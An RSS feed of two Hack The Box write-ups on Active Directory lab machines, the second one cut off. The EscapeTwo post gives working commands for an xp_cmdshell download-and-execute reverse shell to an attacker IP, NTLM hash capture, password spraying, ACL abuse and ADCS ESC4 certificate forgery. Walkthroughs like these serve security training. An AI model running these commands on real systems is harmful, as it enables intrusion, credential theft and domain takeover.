<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Zyad Elsayed on Medium]]></title>
        <description><![CDATA[Stories by Zyad Elsayed on Medium]]></description>
        <link>https://medium.com/@b4l3rion?source=rss-5913a0fea0c1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*7Oyj417NnBiYAsmImTg7-Q.jpeg</url>
            <title>Stories by Zyad Elsayed on Medium</title>
            <link>https://medium.com/@b4l3rion?source=rss-5913a0fea0c1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 00:05:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@b4l3rion/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[EscapeTwo]]></title>
            <link>https://b4l3rion.medium.com/escapetwo-dc5544831b41?source=rss-5913a0fea0c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc5544831b41</guid>
            <category><![CDATA[mssql]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[hack-the-box-writeup]]></category>
            <dc:creator><![CDATA[Zyad Elsayed]]></dc:creator>
            <pubDate>Sat, 24 May 2025 16:28:35 GMT</pubDate>
            <atom:updated>2025-05-24T16:28:35.787Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*uTFjAw7isucZ-gnSUXfMdA.jpeg" /><figcaption><a href="https://app.hackthebox.com/machines/EscapeTwo">https://app.hackthebox.com/machines/EscapeTwo</a></figcaption></figure><p>⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀ ⠀بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيم ِ</p><p>You can read this writeup with better format on my main blog :</p><p><a href="https://b4l3ri0n.github.io/posts/EscapeTwo/">EscapeTwo</a></p><p>This is my comprehensive walkthrough for solving <strong>EscapeTwo</strong>, the first machine of <strong>Season 7</strong> on Hack The Box. This machine, like many real-world Active Directory engagements, required a methodical approach, and a good understanding of AD exploitation. It provided an excellent opportunity to sharpen skills in enumeration, SQL exploitation, password spraying, and abusing ACLs, ADCS for privilege escalation.</p><p>The journey started with valid credentials provided as part of the challenge: <strong>rose / KxEPkKe6R8su</strong>. From there after some enumeration, I discovered an .xlsx file on an SMB share. After inspecting it, I realized it was a ZIP file containing additional files one of them had some users credentials. Using these, I accessed an MSSQL server and enabled xp_cmdshell to gain an initial shell as sql_svc.</p><p>Through further enumeration, I uncovered credentials for sql_svc in a configuration file located in the <strong>SQL2019 directory</strong>, leading to password spraying and identifying another user with password reuse. The privilege escalation phase involved abusing <strong>WriteOwner</strong> permissions over a user in the <strong>CERT PUBLISHERS</strong> group, leveraging <strong>ADCS ESC4</strong> to obtain the <strong>Administrator</strong> hash.</p><p>Quite the exciting ride overcoming these challenges — so let’s dive in!</p><h3>1. Reconnaissance</h3><h4><strong>Network Scanning</strong>:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rZ8D7P_Vstya2Y37c5m74Q.png" /></figure><p>The Nmap scan reveals multiple open ports and services on the target. A Windows domain controller <strong>DC01</strong> for the <strong>sequel.htb</strong> domain, hosting services such as Kerberos, LDAP, SMB, and DNS. Active Directory-related ports (88, 389, 636) are open, and SSL certificates indicate the domain name and computer identity.</p><p>Additionally, Microsoft SQL Server 2019 is running on port 1433, presenting potential database exploitation opportunities.</p><p>The presence of SMB with message signing enabled and required suggests limited SMB relay attacks.</p><p>Lets start adding domain to the hosts file for local resolution</p><pre>echo &#39;10.10.11.51  sequel.htb  dc01.sequel.htb&#39; | sudo tee -a /etc/hosts</pre><h4><strong>Service Enumeration</strong>:</h4><p>checking if the credentials we have valid for any of the services</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gasIYXDnd7T3wVjLdnD5Jw.png" /></figure><p>Credentials is valid for LDAP, MSSQL, SMB but not for WINRM</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N4PUGyBLhvFsmuziGMeuCw.png" /></figure><h4><strong>1. Start checking the SSL/TLS Certificate</strong></h4><pre>openssl s_client -showcerts -connect 10.10.11.51:3269 | openssl x509 -noout -text</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ps9nzvmkq2qyeuaQ9i6w1Q.png" /></figure><p>The issuer is sequel-DC01-CA, which appears to be an internal CA specific to the sequel.htb domain so we may encounter ADCS attacks if any of the templates is vulnerable.</p><h4>2. <strong>LDAP</strong></h4><p>To enumerate LDAP on this machine, you can extract all LDAP data using the ldapsearch</p><pre>ldapsearch -H ldap://10.10.11.51 -D &quot;rose@sequel.htb&quot; -w &#39;KxEPkKe6R8su&#39; -b &quot;DC=sequel,DC=htb&quot; | tee -a ldap.data</pre><p>If you’re looking for specific attributes, you can use LDAP queries with search filters. For example, to list all user account names:</p><pre>ldapsearch -H ldap://10.10.11.51 -D &quot;rose@sequel.htb&quot; -w &#39;KxEPkKe6R8su&#39; -b &quot;DC=sequel,DC=htb&quot; &#39;(objectClass=Person)&#39; sAMAccountName | grep sAMAccountName | cut -d &#39;:&#39; -f 2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NwEYpgDeR5MTpICLFowO5g.png" /></figure><p>Store these valid users; we will need them later for password spraying.</p><p>For a more organized and categorized output, use ldapdomaindump to create a visual and structured representation of the data:</p><pre>ldapdomaindump -u &quot;sequel.htb\rose&quot; -p KxEPkKe6R8su -o dump/ ldap://10.10.11.51</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jg64PTQEP9AFz-PqZeMkmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KMpySyyfw5ioMBvB4PMJpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cBAWeSBpNmUzznlKhoHNHA.png" /></figure><p>we have a list of valid users now and we know their groups and some other data about the environment</p><p>we can use rpcclient to enumerate more data, but not important for me now</p><p><strong>3. MSSQL</strong></p><pre>mssqlclient.py -windows-auth sequel.htb/rose:KxEPkKe6R8su@10.10.11.51</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dWfxlnYBW_AVmCdTeZjJiw.png" /></figure><p>After connecting, attempt to enumerate database configurations and user data for credentials and other stuff.<br>Next, try enabling xp_cmdshell to execute system commands Manually using</p><pre>EXEC sp_configure &#39;show advanced options&#39;, 1; RECONFIGURE;<br>EXEC sp_configure &#39;xp_cmdshell&#39;, 1; RECONFIGURE;</pre><p>or using mssqlclient built-in command enable_xp_cmdshell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_msC25px31dhEZ1xiwGfSQ.png" /></figure><p>But we got an error, we do not have sufficient permissions</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*3aOQ6zfyIqA4qbUgafWKUA.png" /></figure><p>next Check for linked servers to escalate privileges or access additional resources</p><p><strong>Linked Server Abuse attack</strong>.</p><p>A linked server acts as a bridge between two servers. Linked servers in SQL Server allow one SQL Server instance to query another. If improperly configured or secured, they can be abused for privilege escalation, lateral movement, and data extraction.</p><p>Enumerate Linked Servers</p><pre>EXEC sp_linkedservers; <br>or<br>enum_links</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OcXjRGLJ2mRHrErtRGV-yw.png" /></figure><p>Query the Linked Server DC01\SQLEXPRESS</p><pre><br>EXEC (&#39;SELECT name FROM master.dbo.sysdatabases&#39;) AT [DC01\SQLEXPRESS];</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g7bFNMJAEtetwh13TiRB5w.png" /></figure><p>We couldn’t locate or connect to the SQL Server instance</p><p><strong>Last thing to try is to get the SQL_SVC user hash and try to crack it</strong></p><ul><li>Utilize Responder to capture a hash via SMB relay <br>sudo responder -I tun0</li><li>Trigger an SMB request from MSSQL <br>xp_dirtree \\Your_IP\fake\share</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CQjj-i9KJVzrtBo798n43Q.png" /></figure><ul><li>Attempt to crack the captured hash using Hashcat, start it with the autodetect mode hashcat hash /usr/share/wordlists/rockyou.txt</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pVPPkt7ZekRS6PMee9u30Q.png" /></figure><p>Hash exhausted, unable to crack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IZi_utBhTeeJTN5uxi-WKQ.png" /></figure><p><strong>4. SMB</strong></p><p>First checking our rights over the shares</p><pre>smbmap -d sequel.htb -u &quot;rose&quot; -p &quot;KxEPkKe6R8su&quot; -H 10.10.11.51</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wfxNMrdPDp-O56JbBNBL_w.png" /></figure><p>We have read permissions over Accounting Department share which is a custom share, the others are default.</p><p>After connecting i found two xlsx files, download them for check</p><pre>recurse on<br>prompt OFF<br>mget *</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w4hbPYWrnTRmElADuGtFWg.png" /></figure><p>I tried to open them but there were an error so i check the file types and found they were actually zip files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ILUr36yid2_JmjB-ZfpswQ.png" /></figure><p>Unzipping them</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*u3DVbqWd1uvQHpL7im_AaA.png" /></figure><p>After some fetching i found credentials in the sharedStrings.xml file, i gathered these data in this md table</p><pre>╔════════════╦═══════════╦═══════════════════╦══════════╦══════════════════╗<br>║ First Name ║ Last Name ║ Email             ║ Username ║ Password         ║<br>╠════════════╬═══════════╬═══════════════════╬══════════╬══════════════════╣<br>║ Angela     ║ Martin    ║ angela@sequel.htb ║ angela   ║ 0fwz7Q4mSpurIt99 ║<br>║ Oscar      ║ Martinez  ║ oscar@sequel.htb  ║ oscar    ║ 86LxLBMgEWaKUnBG ║<br>║ Kevin      ║ Malone    ║ kevin@sequel.htb  ║ kevin    ║ Md9Wlq1E5bZnVDVo ║<br>║ NULL       ║ NULL      ║ sa@sequel.htb     ║ sa       ║ MSSQLP@ssw0rd!   ║<br>╚════════════╩═══════════╩═══════════════════╩══════════╩══════════════════╝</pre><p>Only oscar cred was valid for SMB and nothing from password spraying</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9wrjxqumYmopKRO8NKC8bA.png" /></figure><p>I tried enumerating with the Oscar user, but nothing significant was revealed. However, I already know from before about the SA user.</p><h3>2. Initial Foothold</h3><p>The SA user belongs to the sysadmin fixed server role, which grants full control over the SQL Server instance, including all databases, configurations, and system-level operations. During SQL Server installation, the SA account is created.</p><p>So, I decided to give it a shot with mssqlclient, and it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O_Am8iHYNf33_khE65cDZA.png" /></figure><p>We can now enable the xp_cmdshell and execute commands</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PNTYh1cWsIX0L-tokpj-RQ.png" /></figure><p>using <a href="https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1">Invoke-PowerShellTcp</a> reverse shell, add the following line to the bottom of the script</p><pre>Invoke-PowerShellTcp -Reverse -IPAddress &#39;Your_IP&#39; -Port 4444</pre><p>Start a Python HTTP server</p><pre>python -m http.server 8080</pre><p>Then, execute the reverse shell on the target</p><pre>xp_cmdshell powershell -c &quot;IEX(curl -useb http://IP:8080/shell.ps1)&quot;</pre><p>This successfully grants us a shell on the server as the as sql_svc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P9me_uAsbNYhwhoRm1b_2w.png" /></figure><p>After some enumeration, i found a directory for SQL2019</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kj9Y_RpGgdGTN_NMj6yDIQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7cr-EWdPChpeqKtt0unrqw.png" /></figure><p>Inside it there were a configuration file which contains sql_svc password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sp-H5WPwKyo68UGUi1Uvyg.png" /></figure><p>We can now auth as sql_svc but we have a shell already we can try to auth via winrm for stable shell but sql_svc isn’t part of the remote Management users, we know this from before from LDAP enum</p><p>Then, I attempted a password spraying attack on the gathered users, and it worked.</p><pre>nxc smb sequel.htb -u users.list -p &quot;WqSZAF6CysDQbGb3&quot; --continue-on-success</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iRt15tZi7uwasMoQ8F3WdA.png" /></figure><p>We have the password of user ryan which is part of the remote Management group.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pLyM3khk44a5OfIF1YDveA.png" /></figure><h3>3. Privilege Escalation</h3><p>Gaining access to ryan user using evil-winrm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u_HjZP8luB1A-pPZxyhGzQ.png" /></figure><p>Most of the time i would run <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS">WinPEAS</a> but i prefer to use bloodhound to know more about the environment and the priv we have over other resources</p><p>Using <a href="https://github.com/SpecterOps/BloodHound">bloodhound CE</a> for mapping the AD environment, it is better than the old one in somethings like ADCS attack path but still need way more modifications.</p><p>Start gathering data by running SharpHound ingestor or <a href="https://github.com/dirkjanm/BloodHound.py/tree/bloodhound-ce"><strong>BloodHound.py</strong></a>,<strong> </strong>i just knew that it has specific version for bloodhound CE</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1PknADCrSPkTHi4YyeEMdg.png" /></figure><p>User ryan has WriteOwner over SA_SVC which has ADCSESC4</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/973/1*nGw9MP1vkOqOnhvSjfmGAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DHmUrNoe-CMuKAhjNS_ClQ.png" /></figure><p>Abusing the WriteOwner privilege over the CA_SVC account to change the user password. In a real engagement, it is often better to modify other attributes, such as setting DONT_REQ_PREAUTH for <strong>ASREPRoast </strong>or assigning an SPN to enable <strong>Kerberoasting</strong>, allowing you to retrieve and crack the account’s NTLM hash. Modifying attributes is generally less noisy than directly changing the password.</p><p>Using <strong>BloodyAD</strong>, which is a powerful tool that combines a lot of functionality into one comprehensive suite.</p><ol><li>Changes the owner of the CA_SVC account to ryan.</li></ol><pre>bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p &#39;WqSZAF6CysDQbGb3&#39; set owner ca_svc ryan</pre><p>2. Modifying the DACL to give us <strong>ryan</strong> full control over the CA_SVC account.</p><pre>bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p &#39;WqSZAF6CysDQbGb3&#39; add genericAll ca_svc ryan</pre><p>3. Resets the password for the CA_SVC account to</p><pre>bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p &#39;WqSZAF6CysDQbGb3&#39; set password ca_svc &#39;newP@ssword2022&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lBLsHGpFsJlZhRTTZTRiGA.png" /></figure><p>We can now perform the ADCSESC4 attack as we own the user SA_SVC</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_FzXBj1AIMurvBtIRVMSRQ.png" /></figure><p><strong>ESC4</strong> arises when a non-administrator account has write access to a certificate template, enabling them to modify its permissions. This allows the attacker to grant themselves enrollment rights and issue certificates that provide elevated privileges, such as domain administrator or domain controller access. The vulnerability is due to improper access control on certificate templates.</p><p>Vulnerable certificate template to this attack may allow user or a group to perform actions such as modifying <strong>Owner permissions</strong>, adding or changing <strong>WriteOwnerPrincipals</strong>, <strong>WriteDaclPrincipals</strong>, and <strong>WritePropertyPrincipals</strong>, or even granting themselves <strong>FullControl</strong> over the template.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J5TxOsMMj8_noq9DvAsjhA.png" /></figure><p>So let&#39;s start our work</p><ol><li><strong>Enumerate the vulnerable templates</strong></li></ol><pre>certipy find -u ca_svc -p &#39;newP@ssword2022&#39; -target sequel.htb -text -vulnerable</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NZM-LdKil7MbYf3xc1l3vg.png" /></figure><p>Our user is member of the group Cert Publishers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FvVYWN4M0Fomn6o6ZxNS0Q.png" /></figure><p>We have the permissions over the template that enable us to perform this attack</p><p><strong>2. Modifying the certificate template</strong></p><pre>certipy template -u ca_svc -p &#39;newP@ssword2022&#39; -template &#39;DunderMifflinAuthentication&#39; -target sequel.htb -save-old</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l3IkPAW-rzNzWpPDHcoG7Q.png" /></figure><p><strong>3. Requesting a domain admin certificate using modified ESC4 template</strong></p><pre>certipy req -ca sequel-DC01-CA -u ca_svc -p &#39;newP@ssword2022&#39; -template &#39;DunderMifflinAuthentication&#39; -target sequel.htb -upn administrator@sequel.htb </pre><p>There is something important to know here we have to perform all these process from changing ca_svc user password to performing ESC4 attack so fast as there is a cleanup script running on the machine</p><pre>bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p &#39;WqSZAF6CysDQbGb3&#39; set owner ca_svc ryan  &amp;&amp; \<br>bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p &#39;WqSZAF6CysDQbGb3&#39; add genericAll ca_svc ryan   &amp;&amp; \<br>bloodyAD --host dc01.sequel.htb -d sequel.htb -u ryan -p &#39;WqSZAF6CysDQbGb3&#39; set password ca_svc &#39;newP@ssword2022&#39; &amp;&amp; \<br><br>certipy template -u ca_svc -p &#39;newP@ssword2022&#39; -template &#39;DunderMifflinAuthentication&#39; -target sequel.htb -save-old   &amp;&amp; \<br>certipy req -ca sequel-DC01-CA -u ca_svc -p &#39;newP@ssword2022&#39; -template &#39;DunderMifflinAuthentication&#39; -target sequel.htb -upn administrator@sequel.htb</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*witba01NKUAqLUSJ39g1gg.png" /></figure><p><strong>4. Request a TGT using the certificate</strong></p><pre>certipy auth -pfx administrator.pfx</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vrLyXYWJJ8bwNSHOPwAhAw.png" /></figure><p>Now we have access to the administrator account hash so we can auth using evil-winrm and grep the flags.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DEHyT1Pt3tjstqE60fLblw.png" /></figure><h3>4. Resources</h3><ul><li><a href="https://www.hackingarticles.in/abusing-ad-dacl-writeowner/">Abusing AD-DACL: WriteOwner - Hacking Articles</a></li><li><a href="https://www.rbtsec.com/blog/active-directory-certificate-services-adcs-esc4/">Active Directory Certificate Services (ADCS - ESC4) | RBT Security</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc5544831b41" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vintage]]></title>
            <link>https://b4l3rion.medium.com/vintage-0074003d152c?source=rss-5913a0fea0c1------2</link>
            <guid isPermaLink="false">https://medium.com/p/0074003d152c</guid>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[htb]]></category>
            <dc:creator><![CDATA[Zyad Elsayed]]></dc:creator>
            <pubDate>Sat, 26 Apr 2025 14:31:56 GMT</pubDate>
            <atom:updated>2025-04-26T14:31:56.922Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*15cZYkMvmyUhV5lp" /><figcaption><a href="https://app.hackthebox.com/machines/Vintage">https://app.hackthebox.com/machines/Vintage</a></figcaption></figure><p>⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀ ⠀بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيم ِ</p><p>You can read this write-up with better format on my main blog :</p><p><a href="https://b4l3ri0n.github.io/posts/Vintage/">Vintage</a></p><p>This is my comprehensive walkthrough for solving <strong>Vintage</strong>, a challenging Active Directory machine on Hack The Box. This machine was full of Kerberos authentication, ticket manipulation, and meticulous troubleshooting, making it an excellent learning experience for real-world AD exploitation.</p><p>The journey began in an <strong>assume-breach scenario</strong>, with valid domain user credentials in hand. Unlike many environments, NTLM authentication was disabled, leaving only Kerberos authentication available. Through enumeration, we identified the existence of <strong>Pre-Windows 2000 Compatible Access</strong> group, whose users’ passwords were based on their names. By abusing this, we were able to compromise the password for a machine account <strong>FS01$</strong>, which belonged to the <strong>DOMAIN COMPUTERS</strong> group which had the <strong>ReadGMSAPassword</strong> privilege for the <strong>GMSA01$</strong> account. Using this, we extracted the hash of <strong>GMSA01$</strong>.</p><p>The <strong>GMSA01$</strong> account had <strong>GenericWrite</strong> permissions over the <strong>DOMAIN COMPUTERS</strong> group, which, in turn, had <strong>GenericAll</strong> access over three service accounts. After obtaining and cracking the service account hashes, we identified the password for <strong>SQL_SVC</strong>. By performing password spraying, we discovered that <strong>C.Neri</strong> was reusing the same password.</p><p><strong>C.Neri</strong> was a member of the <strong>REMOTE MANAGEMENT USERS</strong> group. Through further enumeration, we identified a <strong>DPAPI blob</strong> and cracked it using the master key. This yielded credentials for <strong>C.Neri_adm</strong>, who had <strong>GenericWrite</strong> access over the <strong>DELEGATEDADMINS</strong> group. This group was configured with the <strong>AllowedToAct</strong> privilege on the <strong>DC01.vintage.htb</strong> machine.</p><p>Abusing <strong>Resource-Based Constrained Delegation (RBCD)</strong>, we leveraged the <strong>DELEGATEDADMINS</strong> group’s privileges to impersonate a high-privilege account on <strong>DC01.vintage.htb</strong>. This machine, in turn, had <strong>DCSync</strong> privileges over the <strong>vintage.htb</strong> domain, allowing us to extract all domain hashes and achieve complete control.</p><p>This machine required careful planning, step-by-step execution, and thorough understanding of Kerberos, RBCD, and privilege escalation techniques. Let’s dive into the details!</p><h3>Reconnaissance</h3><h4>Network Scanning:</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VUrdZEan68EQ9Ovzdo9axQ.png" /></figure><p>The Nmap scan reveals that the target is a Windows Active Directory environment with services like Kerberos (port 88), LDAP (ports 389 and 3268), and SMB (port 445). The domain appears to be vintage.htb, and the host is identified as DC01, likely a domain controller.</p><p>Key areas we would focus on next include enumerating LDAP for user and group information, checking SMB for accessible shares, and leveraging Kerberos for possible ticket-based attacks.</p><p>Let’s start adding domain to the hosts file for local resolution</p><pre>echo &#39;10.10.11.45  vintage.htb  dc01.vintage.htb&#39; | sudo tee -a /etc/hosts</pre><h4>Service Enumeration:</h4><h4><strong>1. SSL/TLS Certificate</strong></h4><p>Port <strong>3269</strong> is commonly used for <strong>LDAP over TLS/SSL</strong> The tcpwrapped state indicates the port is open but not providing detailed service information so let&#39;s start by checking it.</p><pre>openssl s_client -connect 10.10.11.45:3269 -showcerts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jvfWyXAU39SLIuIM2w_t2g.png" /></figure><p>It is open but did not respond to SSL/TLS handshake attempts. The lack of a peer certificate and handshake completion suggests that the service is either non-functional, filtered, or restricted. Nothing important for us.</p><h4>Checking if the credentials we have valid for any of the services</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-lfBEm3vf8x-fBpo98tOfw.png" /></figure><p>There is something wrong credentials doesn’t work for any of the services and giving us STATUS_NOT_SUPPORTED , checking other tools wmiexec same error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tQfjY93dHK2xp66aRwczRw.png" /></figure><p>After some searching, found out this means the machine doesn’t allow NTLM auth, so we have to use Kerberos.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vZYzVT3f_LEOolKSFRGnvw.png" /><figcaption><a href="https://gist.github.com/mpgn/9fc08b0f0fde55e8c322518bc1f9c317">https://gist.github.com/mpgn/9fc08b0f0fde55e8c322518bc1f9c317</a></figcaption></figure><h4>Requesting a TGT ticket using the credentails we have</h4><pre>getTGT.py vintage.htb/&#39;P.Rosa&#39;:&#39;Rosaisbest123&#39;<br>export KRB5CCNAME=P.Rosa.ccache</pre><p>checking the services with the ticket we have and yeah it is working</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xTygJkvuJcoz2F7dcCNcCw.png" /></figure><ol><li>As Kerberos is time-sensitive, ensure the time on the attacking machine is synchronized with the target: sudo ntpdate -u 10.10.11.45</li><li>To streamline Kerberos operations, the /etc/krb5.conf file must be configured by modifying the file directly.</li></ol><pre>[libdefaults]<br>    default_realm = VINTAGE.HTB<br><br>[realms]<br>    VINTAGE.HTB = {<br>        kdc = dc01.vintage.htb<br>        admin_server = dc01.vintage.htb<br>    }<br><br>[domain_realm]<br>    .vintage.htb = VINTAGE.HTB<br>    vintage.htb = VINTAGE.HTB</pre><p>Alternatively, use the interactive tool</p><pre>sudo apt install krb5-user<br>sudo dpkg-reconfigure krb5-config</pre><h4>2. LDAP</h4><p>To enumerate LDAP on this machine, you can extract all LDAP data using the ldapsearch</p><pre>ldapsearch -H ldap://10.10.11.45 -D &quot;P.Rosa@vintage.htb&quot; -w &#39;Rosaisbest123&#39; -b &quot;DC=vintage,DC=htb&quot; | tee -a ldap.data</pre><p>If you’re looking for specific attributes, you can use LDAP queries with search filters. For example, to list all user account names:</p><pre>ldapsearch -H ldap://10.10.11.45 -D &quot;P.Rosa@vintage.htb&quot; -w &#39;Rosaisbest123&#39; -b &quot;DC=vintage,DC=htb&quot; &#39;(objectClass=Person)&#39; sAMAccountName | grep sAMAccountName | cut -d &#39;:&#39; -f 2 | sed &#39;s/^[[:space:]]*//&#39; | grep -v &#39;^$&#39; | tail -n +2 | tee -a users.list</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7sPHYtsYiHROWc7rUOlLcA.png" /></figure><p>Store these valid users; we will need them later.</p><p>For a more organized and categorized output, use ldapdomaindump to create a visual and structured representation of the data:</p><pre>ldapdomaindump -u &#39;vintage\P.Rosa&#39; -p &#39;Rosaisbest123&#39;  -o dump/ ldap://10.10.11.45 -at SIMPLE</pre><ul><li>List of domain users</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kThVGpXi2ctv4iUMQynWEw.png" /></figure><ul><li>Privileged accounts</li></ul><p>LDAP enumeration reveals privileged accounts such as <strong>L.Bianchi_adm</strong> and <strong>Administrator</strong>, both members of the <strong>Domain Admins</strong> group with passwords set to never expire, making them high-value targets for privilege escalation. Additionally, the user <strong>C.Neri_ad</strong>, found under the <strong>DelegatedAdmins</strong> group, may also be a valuable target for further exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1h01xOeHg3YObyS7wl1o0Q.png" /></figure><ul><li>Computer accounts</li></ul><p>Computer accounts, including fs01,DC01 running Windows Server 2022 with trusted delegation enabled, and gMSA01, a potential Group Managed Service Account (gMSA). If we compromise an account with sufficient privileges, we can retrieve the gMSA&#39;s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vwyvPqsxlCoYXG0mt5pVhA.png" /></figure><ul><li>Groups of Interest</li></ul><p>The ServiceManagers group contains accounts like C.Neri, G.Viola, and L.Bianchithey might have elevated privileges or access to manage critical services, making them valuable targets for further exploitation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a74f46GSZtZ_W68oFgS1EA.png" /></figure><p>There is Pre-Windows 2000 Compatible Access group which may exploited later for gaining initial foothold</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/429/1*vvYK6mPGLcP8a9hKwZrK-g.png" /></figure><h4>3. SMB</h4><p>Checking Credentials with SMB, but it gave us another error</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F-gJe3dJdGxLMOZwAYKhbg.png" /></figure><p>I tried using the machine IP but with error again, kerberos protocol doesn’t work with IPs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JTZV6dpn63NG9kAiyB9TGg.png" /></figure><p>While running the tool in the debug mode If found a domain resolution issue when using vintage.htb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ky3vHbjGRQXy_petdMPZJA.png" /></figure><p>But when trying the FQDN it works well</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0bI0tVWSKrWIyzBzpItJiA.png" /></figure><p>Now we can use spider_plus module to enumerate shares</p><pre>nxc smb dc01.vintage.htb -u &#39;P.Rosa&#39; -p &#39;Rosaisbest123&#39; -k -M spider_plus</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6InGvxLhl53wIrGtkEQS8g.png" /></figure><p>No Custom shares and we have Read Permissions on Default Shares with no important data.</p><figure><img alt="" 